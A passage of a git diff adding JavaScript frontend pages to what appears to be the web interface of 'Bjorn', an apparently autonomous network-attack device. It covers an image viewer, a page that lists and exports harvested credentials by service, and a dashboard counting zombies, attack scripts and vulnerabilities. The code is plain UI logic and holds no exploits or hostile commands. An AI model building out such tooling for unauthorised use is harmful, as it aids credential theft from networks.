''; + appContainer.style.inset = ''; + appContainer.style.zIndex = ''; + } + } + + // 🔥 Force reflow + refit after layout change + requestAnimationFrame(() => { + fitToContainer(); + }); + }; + tracker.trackEventListener(imgEl, 'click', onImageClick); + + // Fit image to container on initial load + fitToContainer(); + + // Set up periodic image refresh + refreshInterval = tracker.trackInterval(() => refreshImage(), delay); + + // Mouse wheel zoom + const onWheel = (e) => { + e.preventDefault(); + if (e.deltaY < 0) { + currentScale *= ZOOM_FACTOR; + } else { + currentScale /= ZOOM_FACTOR; + } + applyZoom(); + }; + tracker.trackEventListener(containerEl, 'wheel', onWheel, { passive: false }); + + // Window resize: re-fit image to container + const onResize = () => fitToContainer(); + tracker.trackEventListener(window, 'resize', onResize); +} + +/* ============================ + * Unmount — guaranteed cleanup + * ============================ */ +export function unmount() { + if (tracker) { tracker.cleanupAll(); tracker = null; } + refreshInterval = null; + imgEl = null; + containerEl = null; + currentScale = 1; +} + +/* ============================ + * Image refresh (graceful swap) + * ============================ */ +function refreshImage() { + if (!imgEl) return; + + const loader = new Image(); + const cacheBust = `/web/screen.png?t=${Date.now()}`; + + loader.onload = () => { + // Only swap if the element is still mounted + if (imgEl) { + imgEl.src = cacheBust; + } + }; + + // On error: keep the old image, do nothing + loader.onerror = () => { + console.debug(`[${PAGE}] Image refresh failed, keeping current frame`); + }; + + loader.src = cacheBust; +} + +/* ============================ + * Zoom helpers + * ============================ */ +function applyZoom() { + if (!imgEl || !containerEl) return; + const baseHeight = containerEl.clientHeight; + imgEl.style.height = `${baseHeight * currentScale}px`; + imgEl.style.width = 'auto'; + imgEl.style.maxWidth = 'none'; + imgEl.style.maxHeight = 'none'; +} + +function fitToContainer() { + if (!imgEl || !containerEl) return; + // Reset scale on resize so the image re-fits + currentScale = 1; + imgEl.style.height = `${containerEl.clientHeight}px`; + imgEl.style.width = 'auto'; + imgEl.style.maxWidth = '100%'; + imgEl.style.maxHeight = '100%'; +} diff --git a/web/js/pages/credentials.js b/web/js/pages/credentials.js new file mode 100644 index 0000000..8dcdec6 --- /dev/null +++ b/web/js/pages/credentials.js @@ -0,0 +1,444 @@ +/** + * Credentials page module. + * Displays credentials organized by service with tabs, search, and CSV export. + * Endpoint: GET /list_credentials (returns HTML tables) + */ +import { ResourceTracker } from '../core/resource-tracker.js'; +import { api, Poller } from '../core/api.js'; +import { el, $, $$, empty } from '../core/dom.js'; +import { t } from '../core/i18n.js'; + +const PAGE = 'credentials'; +const REFRESH_INTERVAL = 30000; + +/* ── state ── */ +let tracker = null; +let poller = null; +let serviceData = []; // [{ service, category, credentials: { headers, rows } }] +let currentCategory = 'all'; +let searchGlobal = ''; +let searchTerms = {}; +let collapsedCards = new Set(); + +/* ── localStorage ── */ +const LS_CARD = 'cred:card:collapsed:'; +const getCardPref = (svc) => { try { return localStorage.getItem(LS_CARD + svc); } catch { return null; } }; +const setCardPref = (svc, collapsed) => { try { localStorage.setItem(LS_CARD + svc, collapsed ? '1' : '0'); } catch { } }; + +/* ── lifecycle ── */ +export async function mount(container) { + tracker = new ResourceTracker(PAGE); + container.appendChild(buildShell()); + await fetchCredentials(); + poller = new Poller(fetchCredentials, REFRESH_INTERVAL); + poller.start(); +} + +export function unmount() { + if (poller) { poller.stop(); poller = null; } + if (tracker) { tracker.cleanupAll(); tracker = null; } + serviceData = []; + currentCategory = 'all'; + searchGlobal = ''; + searchTerms = {}; + collapsedCards.clear(); +} + +/* ── shell ── */ +function buildShell() { + return el('div', { class: 'credentials-container' }, [ + /* stats bar */ + el('div', { class: 'stats-bar' }, [ + statItem('🧩', 'stat-services', t('creds.services')), + statItem('🔐', 'stat-creds', t('creds.totalCredentials')), + statItem('🖥️', 'stat-hosts', t('creds.uniqueHosts')), + ]), + /* global search */ + el('div', { class: 'global-search-container' }, [ + el('input', { + type: 'text', id: 'cred-global-search', class: 'global-search-input', + placeholder: t('common.search'), oninput: onGlobalSearch + }), + el('button', { class: 'clear-global-button', id: 'cred-clear-global', onclick: clearGlobalSearch }, ['✖']), + ]), + /* tabs */ + el('div', { class: 'tabs-container', id: 'cred-tabs' }), + /* services grid */ + el('div', { class: 'services-grid', id: 'credentials-grid' }), + /* toast */ + el('div', { class: 'copied-feedback', id: 'cred-toast' }, ['Copied to clipboard!']), + ]); +} + +function statItem(icon, id, label) { + return el('div', { class: 'stat-item' }, [ + el('span', { class: 'stat-icon' }, [icon]), + el('span', { class: 'stat-value', id }, ['0']), + el('span', { class: 'stat-label' }, [label]), + ]); +} + +/* ── fetch ── */ +async function fetchCredentials() { + try { + const text = await fetch('/list_credentials').then(r => r.text()); + const doc = new DOMParser().parseFromString(text, 'text/html'); + const tables = doc.querySelectorAll('table'); + + serviceData = []; + tables.forEach(table => { + const titleEl = table.previousElementSibling; + if (titleEl && titleEl.textContent) { + const raw = titleEl.textContent.toLowerCase().replace('.csv', '').trim(); + const credentials = parseTable(table); + serviceData.push({ service: raw, category: raw, credentials }); + } + }); + + // Sort by most credentials first + serviceData.sort((a, b) => (b.credentials.rows?.length || 0) - (a.credentials.rows?.length || 0)); + + updateStats(); + renderTabs(); + renderServices(); + applyPersistedCollapse(); + } catch (err) { + console.error(`[${PAGE}] fetch error:`, err); + } +} + +function parseTable(table) { + const headers = Array.from(table.querySelectorAll('th')).map(th => th.textContent.trim()); + const rows = Array.from(table.querySelectorAll('tr')).slice(1).map(row => { + const cells = Array.from(row.querySelectorAll('td')); + return Object.fromEntries(headers.map((h, i) => [h, (cells[i]?.textContent || '').trim()])); + }); + return { headers, rows }; +} + +/* ── stats ── */ +function updateStats() { + const setVal = (id, v) => { const e = $(`#${id}`); if (e) e.textContent = v; }; + setVal('stat-services', serviceData.length); + setVal('stat-creds', serviceData.reduce((a, s) => a + (s.credentials.rows?.length || 0), 0)); + + // Count unique MACs + const macSet = new Set(); + serviceData.forEach(s => { + (s.credentials.rows || []).forEach(r => { + for (const [k, v] of Object.entries(r)) { + if (k.toLowerCase().includes('mac')) { + const norm = normalizeMac(v); + if (norm) macSet.add(norm); + } + } + }); + }); + setVal('stat-hosts', macSet.size); +} + +function normalizeMac(v) { + if (!v) return null; + const raw = String(v).toLowerCase().replace(/[^0-9a-f]/g, ''); + if (raw.length !== 12) return null; + return raw.match(/.{2}/g).join(':'); +} + +/* ── tabs ── */ +function getCategories() { + return [...new Set(serviceData.map(s => s.category))]; +} + +function computeBadgeCounts() { + const map = { all: 0 }; + getCategories().forEach(cat => map[cat] = 0); + const needle = searchGlobal.toLowerCase(); + + serviceData.forEach(svc => { + const rows = svc.credentials.rows || []; + let count; + if (!needle) { + count = rows.length; + } else { + count = rows.reduce((acc, row) => { + const text = Object.values(row).join(' ').toLowerCase(); + return acc + (text.includes(needle) ? 1 : 0); + }, 0); + } + map.all += count; + map[svc.category] = (map[svc.category] || 0) + count; + }); + return map; +} + +function renderTabs() { + const tabs = $('#cred-tabs'); + if (!tabs) return; + const counts = computeBadgeCounts(); + const cats = ['all', ...getCategories()]; + empty(tabs); + + cats.forEach(cat => { + const label = cat === 'all' ? 'All' : cat.toUpperCase(); + const count = counts[cat] || 0; + const active = cat === currentCategory ? 'active' : ''; + const tab = el('div', { class: `tab ${active}`, 'data-cat': cat }, [ + label, + el('span', { class: 'tab-badge' }, [String(count)]), + ]); + tab.onclick = () => { + currentCategory = cat; + tabs.querySelectorAll('.tab').forEach(t => t.classList.remove('active')); + tab.classList.add('active'); + renderServices(); + applyPersistedCollapse(); + }; + tabs.appendChild(tab); + }); +} + +function updateBadges() { + const counts = computeBadgeCounts(); + $$('#cred-tabs .tab').forEach(tab => { + const cat = tab.dataset.cat; + const badge = tab.querySelector('.tab-badge'); + if (badge) badge.textContent = counts[cat] || 0; + }); +} + +/* ── services rendering ── */ +function renderServices() { + const grid = $('#credentials-grid'); + if (!grid) return; + empty(grid); + + const needle = searchGlobal.toLowerCase(); + + // Filter by global search + let searched = serviceData.filter(svc => { + if (!needle) return true; + const titleMatch = svc.service.includes(needle); + const rowMatch = svc.credentials.rows.some(r => + Object.values(r).join(' ').toLowerCase().includes(needle)); + return titleMatch || rowMatch; + }); + + // Filter by category + if (currentCategory !== 'all') { + searched = searched.filter(s => s.category === currentCategory); + } + + if (searched.length === 0) { + grid.appendChild(el('div', { style: 'text-align:center;color:var(--muted);padding:40px' }, [ + el('div', { style: 'font-size:3rem;margin-bottom:16px;opacity:.5' }, ['🔍']), + 'No credentials', + ])); + updateBadges(); + return; + } + + searched.forEach(s => grid.appendChild(createServiceCard(s))); + + // If global search active, auto-expand and filter rows + if (needle) { + $$('.service-card', grid).forEach(card => { + card.classList.remove('collapsed'); + card.querySelectorAll('.credential-item').forEach(item => { + const text = item.textContent.toLowerCase(); + item.style.display = text.includes(needle) ? '' : 'none'; + }); + }); + } + + updateBadges(); +} + +function createServiceCard(svc) { + const count = svc.credentials.rows.length; + const isCollapsed = collapsedCards.has(svc.service); + + const card = el('div', { + class: `service-card ${isCollapsed ? 'collapsed' : ''}`, + 'data-service': svc.service, + 'data-credentials': String(count), + }, [ + /* header */ + el('div', { class: 'service-header', onclick: (e) => toggleCollapse(e, svc.service) }, [ + el('span', { class: 'service-title' }, [svc.service.toUpperCase()]), + el('span', { class: 'service-count' }, [`Credentials: ${count}`]), + el('div', { class: 'search-container', onclick: e => e.stopPropagation() }, [ + el('input', { + type: 'text', class: 'search-input', placeholder: 'Search...', + 'data-service': svc.service, oninput: (e) => filterServiceCreds(e, svc.service) + }), + el('button', { class: 'clear-button', onclick: (e) => clearServiceSearch(e, svc.service) }, ['✖']), + ]), + el('button', { + class: 'download-button', title: 'Download CSV', + onclick: (e) => downloadCSV(e, svc.service, svc.credentials) + }, ['💾']), + el('span', { class: 'collapse-indicator' }, ['▼']), + ]), + /* content */ + el('div', { class: 'service-content' }, [ + ...svc.credentials.rows.map(row => createCredentialItem(row)), + ]), + ]); + + return card; +} + +function createCredentialItem(row) { + return el('div', { class: 'credential-item' }, [ + ...Object.entries(row).map(([key, value]) => { + const val = String(value ?? ''); + const bubbleClass = getBubbleClass(key); + return el('div', { class: 'credential-field' }, [ + el('span', { class: 'field-label' }, [key]), + el('div', { + class: `field-value ${val.trim() ? bubbleClass : ''}`, + 'data-value': val, + onclick: (e) => copyToClipboard(e.currentTarget), + title: 'Click to copy', + }, [val]), + ]); + }), + ]); +} + +function getBubbleClass(key) { + const k = key.toLowerCase(); + if (k === 'port') return 'bubble-orange'; + if (['ip address', 'ip', 'hostname', 'mac address', 'mac'].includes(k)) return 'bubble-blue'; + return 'bubble-green'; +} + +/* ── collapse ── */ +function toggleCollapse(e, service) { + if (e.target.closest('.search-container') || e.target.closest('.download-button')) return; + const card = $(`.service-card[data-service="${service}"]`); + if (!card) return; + const nowCollapsed = !card.classList.contains('collapsed'); + card.classList.toggle('collapsed'); + if (nowCollapsed) collapsedCards.add(service); + else collapsedCards.delete(service); + setCardPref(service, nowCollapsed); +} + +function applyPersistedCollapse() { + $$('.service-card').forEach(card => { + const svc = card.dataset.service; + const pref = getCardPref(svc); + if (pref === '1') { + card.classList.add('collapsed'); + collapsedCards.add(svc); + } else if (pref === '0') { + card.classList.remove('collapsed'); + collapsedCards.delete(svc); + } else { + // Default: collapsed + card.classList.add('collapsed'); + } + }); +} + +/* ── search ── */ +function onGlobalSearch(e) { + searchGlobal = e.target.value; + const clearBtn = $('#cred-clear-global'); + if (clearBtn) clearBtn.classList.toggle('show', searchGlobal.length > 0); + renderServices(); + applyPersistedCollapse(); +} + +function clearGlobalSearch() { + const inp = $('#cred-global-search'); + if (inp) inp.value = ''; + searchGlobal = ''; + const clearBtn = $('#cred-clear-global'); + if (clearBtn) clearBtn.classList.remove('show'); + renderServices(); + applyPersistedCollapse(); + $$('.service-card').forEach(c => c.classList.add('collapsed')); +} + +function filterServiceCreds(e, service) { + const filter = e.target.value.toLowerCase(); + searchTerms[service] = filter; + const card = $(`.service-card[data-service="${service}"]`); + if (!card) return; + + if (filter.length > 0) card.classList.remove('collapsed'); + + card.querySelectorAll('.credential-item').forEach(item => { + const text = item.textContent.toLowerCase(); + item.style.display = text.includes(filter) ? '' : 'none'; + }); + + // Toggle clear button + const clearBtn = e.target.nextElementSibling; + if (clearBtn) clearBtn.classList.toggle('show', filter.length > 0); +} + +function clearServiceSearch(e, service) { + e.stopPropagation(); + const card = $(`.service-card[data-service="${service}"]`); + if (!card) return; + const inp = card.querySelector('.search-input'); + if (inp) inp.value = ''; + searchTerms[service] = ''; + card.querySelectorAll('.credential-item').forEach(item => item.style.display = ''); + const clearBtn = card.querySelector('.clear-button'); + if (clearBtn) clearBtn.classList.remove('show'); +} + +/* ── copy ── */ +function copyToClipboard(el) { + const text = el.dataset.value || ''; + navigator.clipboard.writeText(text).then(() => { + showToast(); + const bg = el.style.background; + el.style.background = '#4CAF50'; + setTimeout(() => el.style.background = bg, 500); + }).catch(() => { + // Fallback + const ta = document.createElement('textarea'); + ta.value = text; + document.body.appendChild(ta); + ta.select(); + document.execCommand('copy'); + document.body.removeChild(ta); + showToast(); + }); +} + +function showToast() { + const toast = $('#cred-toast'); + if (!toast) return; + toast.classList.add('show'); + setTimeout(() => toast.classList.remove('show'), 1500); +} + +/* ── CSV export ── */ +function downloadCSV(e, service, credentials) { + e.stopPropagation(); + if (!credentials.rows || credentials.rows.length === 0) return; + const headers = Object.keys(credentials.rows[0]); + let csv = headers.join(',') + '\n'; + credentials.rows.forEach(row => { + const values = headers.map(h => { + const v = String(row[h] ?? ''); + return v.includes(',') ? `"${v.replace(/"/g, '""')}"` : v; + }); + csv += values.join(',') + '\n'; + }); + const blob = new Blob([csv], { type: 'text/csv' }); + const url = URL.createObjectURL(blob); + const a = document.createElement('a'); + a.href = url; + a.download = `${service}_credentials.csv`; + document.body.appendChild(a); + a.click(); + document.body.removeChild(a); + URL.revokeObjectURL(url); +} diff --git a/web/js/pages/dashboard.js b/web/js/pages/dashboard.js new file mode 100644 index 0000000..42e6ed2 --- /dev/null +++ b/web/js/pages/dashboard.js @@ -0,0 +1,724 @@ +/** + * Dashboard page module — matches web_old/index.html layout & behavior. + * Visibility-aware polling, resource cleanup, safe DOM (no innerHTML). + */ + +import { ResourceTracker } from '../core/resource-tracker.js'; +import { api, Poller } from '../core/api.js'; +import { el, $, setText, escapeHtml, empty } from '../core/dom.js'; +import { t } from '../core/i18n.js'; + +let tracker = null; +let heavyPoller = null; +let lightPoller = null; +let uptimeTimer = null; +let uptimeSecs = 0; + +/* ======================== Mount / Unmount ======================== */ + +export async function mount(container) { + tracker = new ResourceTracker('dashboard'); + container.innerHTML = ''; + container.appendChild(buildLayout()); + + const liveCard = document.getElementById('liveops-card'); + if (liveCard) tracker.trackEventListener(liveCard, 'click', () => fetchAndPaintHeavy()); + + await fetchAndPaintHeavy(); + heavyPoller = new Poller(fetchAndPaintHeavy, 60000, { immediate: false }); + lightPoller = new Poller(fetchAndPaintLight, 5000, { immediate: false }); + heavyPoller.start(); + lightPoller.start(); +} + +export function unmount() { + if (heavyPoller) { heavyPoller.stop(); heavyPoller = null; } + if (lightPoller) { lightPoller.stop(); lightPoller = null; } + stopUptime(); + if (tracker) { tracker.cleanupAll(); tracker = null; } +} + +/* ======================== Layout (matches old index.html) ======================== */ + +function buildLayout() { + return el('div', { class: 'dashboard-container' }, [ + // Live Ops header (tap to refresh) + el('section', { class: 'grid-stack', style: 'margin-bottom:12px' }, [ + el('div', { class: 'card', id: 'liveops-card', style: 'cursor:pointer' }, [ + el('div', { class: 'head' }, [ + el('div', {}, [el('h2', { class: 'title' }, [t('dash.liveOps')])]), + el('span', { class: 'pill' }, [t('dash.lastUpdate') + ': ', el('span', { id: 'db-last-update' }, ['\u2014'])]), + ]), + ]), + ]), + // Hero: Battery | Connectivity | Internet + el('section', { class: 'hero-grid' }, [ + buildBatteryCard(), + buildConnCard(), + buildNetCard(), + ]), + // KPI tiles + buildKpiGrid(), + ]); +} + +/* ======================== Battery Card ======================== */ + +function buildBatteryCard() { + return el('article', { class: 'battery-card naked' }, [ + el('div', { class: 'battery-wrap' }, [ + createBatterySVG(), + el('div', { class: 'batt-center', 'aria-live': 'polite' }, [ + el('div', { class: 'bjorn-portrait', title: 'Bjorn' }, [ + el('img', { id: 'bjorn-icon', src: '/web/images/bjornwebicon.png', alt: 'Bjorn' }), + el('span', { class: 'bjorn-lvl', id: 'bjorn-level' }, ['LVL 1']), + ]), + el('div', { class: 'batt-val' }, [el('span', { id: 'sys-battery' }, ['\u2014']), '%']), + el('div', { class: 'batt-state', id: 'sys-battery-state' }, [ + el('span', { id: 'sys-battery-state-text' }, ['\u2014']), + el('span', { class: 'batt-indicator' }, [ + svgIcon('ico-usb', '0 0 24 24', [ + { tag: 'path', d: 'M12 2v14' }, + { tag: 'circle', cx: '12', cy: '20', r: '2' }, + { tag: 'path', d: 'M7 7h5l-2-2 2-2h-5zM12 10h5l-2-2 2-2h-5z' }, + ], true), + svgIcon('ico-batt', '0 0 24 24', [ + { tag: 'rect', x: '2', y: '7', width: '18', height: '10', rx: '2' }, + { tag: 'rect', x: '20', y: '10', width: '2', height: '4', rx: '1' }, + { tag: 'path', d: 'M9 9l-2 4h4l-2 4' }, + ], true), + ]), + ]), + ]), + ]), + ]); +} + +function createBatterySVG() { + const ns = 'http://www.w3.org/2000/svg'; + const svg = document.createElementNS(ns, 'svg'); + svg.setAttribute('class', 'battery-ring'); + svg.setAttribute('viewBox', '0 0 220 220'); + svg.setAttribute('width', '220'); + svg.setAttribute('height', '220'); + svg.setAttribute('aria-hidden', 'true'); + + const defs = document.createElementNS(ns, 'defs'); + // Gradient + const grad = document.createElementNS(ns, 'linearGradient'); + grad.id = 'batt-grad'; + grad.setAttribute('x1', '0%'); grad.setAttribute('y1', '0%'); + grad.setAttribute('x2', '100%'); grad.setAttribute('y2', '100%'); + const s1 = document.createElementNS(ns, 'stop'); + s1.setAttribute('offset', '0%'); s1.setAttribute('stop-color', 'var(--ring1, var(--acid))'); + const s2 = document.createElementNS(ns, 'stop'); + s2.setAttribute('offset', '100%'); s2.setAttribute('stop-color', 'var(--ring2, var(--acid-2))'); + grad.appendChild(s1); grad.appendChild(s2); + // Glow filter + const filter = document.createElementNS(ns, 'filter'); + filter.id = 'batt-glow'; + filter.setAttribute('x', '-50%'); filter.setAttribute('y', '-50%'); + filter.setAttribute('width', '200%'); filter.setAttribute('height', '200%'); + const drop = document.createElementNS(ns, 'feDropShadow'); + drop.setAttribute('dx', '0'); drop.setAttribute('dy', '0'); + drop.setAttribute('stdDeviation', '6'); + drop.setAttribute('flood-color', 'var(--ringGlow, var(--glow-mid))'); + filter.appendChild(drop); + defs.appendChild(grad); defs.appendChild(filter); + svg.appendChild(defs); + + // Background ring + const bg = document.createElementNS(ns, 'circle'); + bg.setAttribute('cx', '110'); bg.setAttribute('cy', '110'); bg.setAttribute('r', '92'); + bg.setAttribute('class', 'batt-bg'); + // Foreground ring + const fg = document.createElementNS(ns, 'circle'); + fg.id = 'batt-fg'; + fg.setAttribute('cx', '110'); fg.setAttribute('cy', '110'); fg.setAttribute('r', '92'); + fg.setAttribute('pathLength', '100'); fg.setAttribute('class', 'batt-fg'); + // Scan ring (charging glow) + const scan = document.createElementNS(ns, 'circle'); + scan.id = 'batt-scan'; + scan.setAttribute('cx', '110'); scan.setAttribute('cy', '110'); scan.setAttribute('r', '92'); + scan.setAttribute('class', 'batt-scan'); + + svg.appendChild(bg); svg.appendChild(fg); svg.appendChild(scan); + return svg; +} + +/** Tiny SVG icon builder. hidden=true sets display:none. */ +function svgIcon(id, viewBox, elems, hidden) { + const ns = 'http://www.w3.org/2000/svg'; + const svg = document.createElementNS(ns, 'svg'); + if (id) svg.id = id; + svg.setAttribute('viewBox', viewBox); + if (hidden) svg.style.display = 'none'; + elems.forEach(spec => { + const e = document.createElementNS(ns, spec.tag || 'path'); + for (const [k, v] of Object.entries(spec)) { if (k !== 'tag') e.setAttribute(k, v); } + svg.appendChild(e); + }); + return svg; +} + +/* ======================== Connectivity Card ======================== */ + +function buildConnCard() { + function row(id, paths) { + return el('div', { class: 'row', id: `row-${id}` }, [ + el('div', { class: 'icon' }, [svgIcon(null, '0 0 24 24', paths)]), + el('div', { class: 'details', id: `${id}-details` }, ['\u2014']), + el('div', { class: 'state' }, [el('span', { class: 'state-pill', id: `${id}-state` }, ['OFF'])]), + ]); + } + + return el('article', { class: 'card conn-card', id: 'conn-card' }, [ + el('div', { class: 'head', style: 'margin-bottom:6px' }, [ + el('span', { class: 'title', style: 'font-size:18px' }, [t('dash.connectivity')]), + ]), + row('wifi', [ + { d: 'M2 8c5.5-4.5 14.5-4.5 20 0' }, { d: 'M5 11c3.5-3 10.5-3 14 0' }, + { d: 'M8 14c1.8-1.6 6.2-1.6 8 0' }, { tag: 'circle', cx: '12', cy: '18', r: '1.5' }, + ]), + el('div', { class: 'submeta', id: 'wifi-under' }, ['\u2014']), + row('eth', [ + { tag: 'rect', x: '4', y: '3', width: '16', height: '8', rx: '2' }, + { d: 'M8 11v5' }, { d: 'M12 11v5' }, { d: 'M16 11v5' }, + { tag: 'rect', x: '7', y: '16', width: '10', height: '5', rx: '1' }, + ]), + el('div', { class: 'submeta', id: 'eth-under' }, ['\u2014']), + // USB — inline detail spans with IDs + el('div', { class: 'row', id: 'row-usb' }, [ + el('div', { class: 'icon' }, [svgIcon(null, '0 0 24 24', [ + { d: 'M12 2v14' }, { tag: 'circle', cx: '12', cy: '20', r: '2' }, + { d: 'M7 7h5l-2-2 2-2h-5zM12 10h5l-2-2 2-2h-5z' }, + ])]), + el('div', { class: 'details', id: 'usb-details' }, [ + el('span', { class: 'key' }, ['USB Gadget']), ': ', + el('span', { id: 'usb-gadget-state', class: 'dim' }, ['OFF']), ' \u2022 ', + el('span', { class: 'key' }, ['Lease']), ': ', + el('span', { id: 'usb-lease', class: 'dim' }, ['\u2014']), ' \u2022 ', + el('span', { class: 'key' }, [t('dash.mode')]), ': ', + el('span', { id: 'usb-mode', class: 'dim' }, ['\u2014']), + ]), + el('div', { class: 'state' }, [el('span', { class: 'state-pill', id: 'usb-state' }, ['OFF'])]), + ]), + // BT — inline detail spans with IDs + el('div', { class: 'row', id: 'row-bt' }, [ + el('div', { class: 'icon' }, [svgIcon(null, '0 0 24 24', [{ d: 'M7 7l10 10-5 5V2l5 5L7 17' }])]), + el('div', { class: 'details', id: 'bt-details' }, [ + el('span', { class: 'key' }, ['BT Gadget']), ': ', + el('span', { id: 'bt-gadget-state', class: 'dim' }, ['OFF']), ' \u2022 ', + el('span', { class: 'key' }, ['Lease']), ': ', + el('span', { id: 'bt-lease', class: 'dim' }, ['\u2014']), ' \u2022 ', + el('span', { class: 'key' }, ['Connected to']), ': ', + el('span', { id: 'bt-connected', class: 'dim' }, ['\u2014']), + ]), + el('div', { class: 'state' }, [el('span', { class: 'state-pill', id: 'bt-state' }, ['OFF'])]), + ]), + ]); +} + +/* ======================== Internet Card (Globe SVG) ======================== */ + +function buildNetCard() { + const globe = svgIcon(null, '0 0 64 64', [ + { tag: 'circle', cx: '32', cy: '32', r: '28', class: 'globe-rim' }, + { d: 'M4 32h56M32 4c10 8 10 48 0 56M32 4c-10 8-10 48 0 56', class: 'globe-lines' }, + ]); + globe.setAttribute('width', '80'); globe.setAttribute('height', '80'); + globe.setAttribute('aria-hidden', 'true'); + + return el('article', { class: 'card net-card' }, [ + el('div', { class: 'head', style: 'margin-bottom:6px' }, [ + el('span', { class: 'title', style: 'font-size:18px' }, [t('dash.internet')]), + ]), + el('div', { style: 'display:flex;align-items:center;gap:12px' }, [ + el('div', { class: 'globe' }, [globe]), + el('div', {}, [el('span', { class: 'net-badge', id: 'net-badge' }, ['NO'])]), + ]), + ]); +} + +/* ======================== KPI Grid ======================== */ + +function buildKpiGrid() { + const bar = (id) => el('div', { class: 'bar' }, [el('i', { id: `${id}-bar` })]); + + return el('section', { class: 'kpi-cards' }, [ + el('div', { class: 'kpi', id: 'kpi-hosts' }, [ + el('div', { class: 'label' }, [t('dash.hostsAlive')]), + el('div', { class: 'val' }, [el('span', { id: 'val-present' }, ['0']), ' / ', el('span', { id: 'val-known' }, ['0'])]), + ]), + el('div', { class: 'kpi', id: 'kpi-ports-alive' }, [ + el('div', { class: 'label' }, [t('netkb.openPorts')]), + el('div', { class: 'val', id: 'val-open-ports-alive' }, ['0']), + ]), + el('div', { class: 'kpi', id: 'kpi-wardrive' }, [ + el('div', { class: 'label' }, [t('dash.wifiKnown')]), + el('div', { class: 'val', id: 'val-wardrive-known' }, ['0']), + ]), + el('div', { class: 'kpi', id: 'kpi-cpu-ram' }, [ + el('div', { class: 'submeta' }, ['CPU: ', el('b', { id: 'cpu-pct' }, ['0%'])]), + bar('cpu'), + el('div', { class: 'submeta' }, ['RAM: ', el('b', { id: 'ram-used' }, ['0']), ' / ', el('b', { id: 'ram-total' }, ['0'])]), + bar('ram'), + ]), + el('div', { class: 'kpi', id: 'kpi-storage' }, [ + el('div', { class: 'label' }, [t('dash.disk')]), + el('div', { class: 'submeta' }, ['Used: ', el('b', { id: 'sto-used' }, ['0']), ' / ', el('b', { id: 'sto-total' }, ['0'])]), + bar('sto'), + ]), + el('div', { class: 'kpi', id: 'kpi-gps' }, [ + el('div', { class: 'label' }, ['GPS']), + el('div', { class: 'val', id: 'gps-state' }, ['OFF']), + el('div', { class: 'submeta', id: 'gps-info' }, ['\u2014']), + ]), + el('div', { class: 'kpi', id: 'kpi-zombies' }, [ + el('div', { class: 'label' }, [t('dash.zombies')]), + el('div', { class: 'val', id: 'val-zombies' }, ['0']), + ]), + el('div', { class: 'kpi', id: 'kpi-creds' }, [ + el('div', { class: 'label' }, [t('creds.title')]), + el('div', { class: 'val', id: 'val-creds' }, ['0']), + ]), + el('div', { class: 'kpi', id: 'kpi-files' }, [ + el('div', { class: 'label' }, [t('dash.dataFiles')]), + el('div', { class: 'val', id: 'val-files' }, ['0']), + ]), + el('div', { class: 'kpi', id: 'kpi-vulns' }, [ + el('div', { class: 'label' }, [t('vulns.title')]), + el('div', { class: 'val' }, [el('span', { id: 'val-vulns' }, ['0'])]), + el('div', {}, [el('span', { class: 'delta', id: 'vuln-delta' }, ['\u2014'])]), + ]), + el('div', { class: 'kpi', id: 'kpi-scripts' }, [ + el('div', { class: 'label' }, [t('dash.attackScripts')]), + el('div', { class: 'val', id: 'val-scripts' }, ['0']), + ]), + el('div', { class: 'kpi', id: 'kpi-system' }, [ + el('div', { class: 'label' }, [t('dash.system')]), + el('div', { class: 'submeta', id: 'sys-os' }, ['OS: \u2014']), + el('div', { class: 'submeta', id: 'sys-arch' }, ['Arch: \u2014']), + el('div', { class: 'submeta', id: 'sys-model' }, ['Model: \u2014']), + el('div', { class: 'submeta', id: 'sys-epd' }, ['Waveshare E-Ink: \u2014']), + ]), + el('div', { class: 'kpi', id: 'kpi-mode' }, [ + el('div', { class: 'label' }, [t('dash.mode')]), + el('div', { class: 'val', id: 'sys-mode' }, ['\u2014']), + ]), + el('div', { class: 'kpi', id: 'kpi-uptime' }, [ + el('div', { class: 'label' }, [t('dash.uptime')]), + el('div', { class: 'val', id: 'sys-uptime' }, ['\u2014']), + el('div', { class: 'submeta', id: 'bjorn-age' }, ['Bjorn age: \u2014']), + ]), + el('div', { class: 'kpi', id: 'kpi-fds' }, [ + el('div', { class: 'label' }, [t('dash.fileDescriptors')]), + el('div', { class: 'submeta' }, [el('b', { id: 'fds-used' }, ['0']), ' / ', el('b', { id: 'fds-max' }, ['0'])]), + bar('fds'), + ]), + ]); +} + +/* ======================== Data normalization ======================== */ + +function normalizeStats(payload) { + if (!payload || typeof payload !== 'object') return null; + const s = payload.stats || {}; + const sys = payload.system || {}; + const battery = payload.battery || {}; + const conn = payload.connectivity || {}; + const gps = payload.gps || {}; + + return { + timestamp: payload.timestamp || Math.floor(Date.now() / 1000), + first_init_ts: payload.first_init_ts || payload.first_init_timestamp, + alive_hosts: s.alive_hosts_count ?? payload.alive_hosts, + known_hosts_total: s.all_known_hosts_count ?? payload.known_hosts_total, + open_ports_alive_total: s.total_open_ports ?? payload.open_ports_alive_total, + wardrive_known: s.wardrive_known ?? s.known_wifi ?? payload.wardrive_known ?? 0, + vulnerabilities: s.vulnerabilities_count ?? payload.vulnerabilities, + zombies: s.zombie_count ?? payload.zombies, + credentials: s.credentials_count ?? payload.credentials ?? payload.secrets, + attack_scripts: s.actions_count ?? payload.attack_scripts, + files_found: payload.files_found ?? 0, + vulns_missing_since_last_scan: payload.vulns_missing_since_last_scan ?? payload.vulns_delta ?? 0, + internet_access: !!payload.internet_access, + mode: payload.mode || 'AUTO', + uptime: payload.uptime, + bjorn_icon: payload.bjorn_icon, + bjorn_level: payload.bjorn_level, + system: { + os_name: sys.os_name || sys.os, + os_version: sys.os_version, + arch: sys.arch || sys.bits, + model: sys.model || sys.board, + waveshare_epd_connected: sys.waveshare_epd_connected, + waveshare_epd_type: sys.waveshare_epd_type, + cpu_pct: sys.cpu_pct, + ram_used_bytes: sys.ram_used_bytes, + ram_total_bytes: sys.ram_total_bytes, + storage_used_bytes: sys.storage_used_bytes, + storage_total_bytes: sys.storage_total_bytes, + open_fds: sys.open_fds ?? payload.system?.open_fds, + max_fds: sys.max_fds ?? sys.fds_limit ?? payload.system?.fds_limit, + }, + battery: { + present: battery.present !== false, + level_pct: battery.level_pct, + state: battery.state, + charging: battery.charging === true, + source: battery.source, + }, + gps: { + connected: !!gps.connected, + fix_quality: gps.fix_quality, + sats: gps.sats, + lat: gps.lat, + lon: gps.lon, + speed: gps.speed, + }, + connectivity: { + wifi: !!(conn.wifi || conn.wifi_ssid || conn.wifi_ip), + wifi_radio_on: conn.wifi_radio_on === true, + wifi_ssid: conn.wifi_ssid || conn.ssid, + wifi_ip: conn.wifi_ip 